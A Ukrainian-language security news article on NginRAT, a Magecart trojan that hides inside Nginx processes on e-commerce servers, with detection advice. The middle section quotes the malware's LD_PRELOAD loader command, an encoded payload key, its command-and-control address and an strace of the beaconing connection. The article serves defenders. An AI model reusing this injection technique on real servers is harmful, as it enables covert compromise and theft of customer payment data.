Нова загроза для Nginx: що відомо про NginRAT?
Нещодавно з’явився новий шкідник Magecart, ціллю якого є сервери Nginx. Його шкідливий код проникає в додаток серверу, маскується у ньому та краде дані.
Ще до цього дослідники з компанії Sansec виявили шкідника CronRAT: він націлений на eCommerce-платформи та керується з Китаю. Під час експерименту спеціалісти створили свій клієнт RAT, через який отримали команди з КНР.
Отриманий код активував наступну ланку з цього ланцюга — NginRAT. Шкідник бере під контроль додаток Nginx через кореневий функціонал хосту Linux (як dlopen
), щоб приховати свою діяльність. Коли сервер використовує потрібні йому функції, NginRAT проникає всередину.
Уся система — це троян віддаленого доступу у процесі Nginx. На серверах eCommerce-проєктів таких процесів немало, але сервер виглядає неушкодженим.
Дослідники знайшли NginRAT на серверах eCommerce-платформ в Німеччині, США та Франції, але вважають, що вражених серверів значно більше.
Аналіз NginRAT
Шкідник CronRAT з’єднується з головним сервером за адресою 47.115.46.167:443
через унікальні команди. Наприклад, dwn
завантажує системну бібліотеку Linux у /dev/shm/php-shared
. Далі CronRAT виконає цей код:
env LD_L1BRARY_PATH="[580 bytes]" \
LD_PRELOAD=/dev/shm/php-shared \
/usr/sbin/nginx --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help 1>&2 &
Як раз він і вбудовує шкідника NginRAT у додаток Nginx.
Що коїться далі?
До Nginx надходять 2 змінні. У LD_L1BRARY_PATH
є помилка 1
, у якій міститься ключ від шифру корисного навантаження RAT:
LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA
Друга змінна — LD_PRELOAD
, і відноситься вона до функціонала відладки у Linux. Через неї розробники тестують системні бібліотеки, але ще вона може перехоплювати виклики стандартних бібліотек. Шкідлива бібліотека php-shared
перехоплює dlopen
та dlsym
, що їх використовує Nginx.
Коли Nginx викликає dlopen
, NginRAT одразу отримує контроль: він видаляє файл php-shared
, змінює ім’я його процесу на nginx: worker process
, збирає дані про систему та встановлює з’єднання з C&C-сервером за адресою 47.115.46.167
. Далі шкідник очікує на команди тижнями чи навіть місяцями.
// Частковий strace NginRAT
uname({sysname="Linux", nodename="ubuntu-2gb-fsn1-1", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb008b9d210) = 8949
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
getcwd("/dev/shm", 4096) = 9
readlink("/proc/self/exe", "/usr/sbin/nginx", 4096) = 15
chdir("/usr/sbin")
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/dev/shm/php-shared", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("47.115.46.167")}, 16) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
А ось дамп трафіку початкового рукостискання NginRAT з сервером, який їм керує
Як знайти та знешкодити NginRAT?
NginRAT вбудовується у легітимний хост-процес серверу, тому звичайний /proc/PID/exe
вказуватиме на Nginx, але не на шкідника. До того ж код бібліотеки не записується на диск, тож після запуску його неможливо знайти.
Але якщо працює бібліотека LD_L1BRARY_PATH
з помилкою 1
, це вказує на роботу NginRAT. Використайте цю команду, щоб знайти будь-які активні процеси:
$ sudo grep -al LD_L1BRARY_PATH /proc/*/environ | grep -v self/
/proc/17199/environ
/proc/25074/environ
Так ви знайдете всі скомпрометовані процеси, щоб потім вбити їх через kill -9 ‹PID›
. Ще слід проаналізувати CronRAT, бо шкідник може сидіти у ваших задачах cron
.
Обов’язково перевірте свої машини, бо шкідники не сплять. Здорових вам серверів та безпечного інтернету.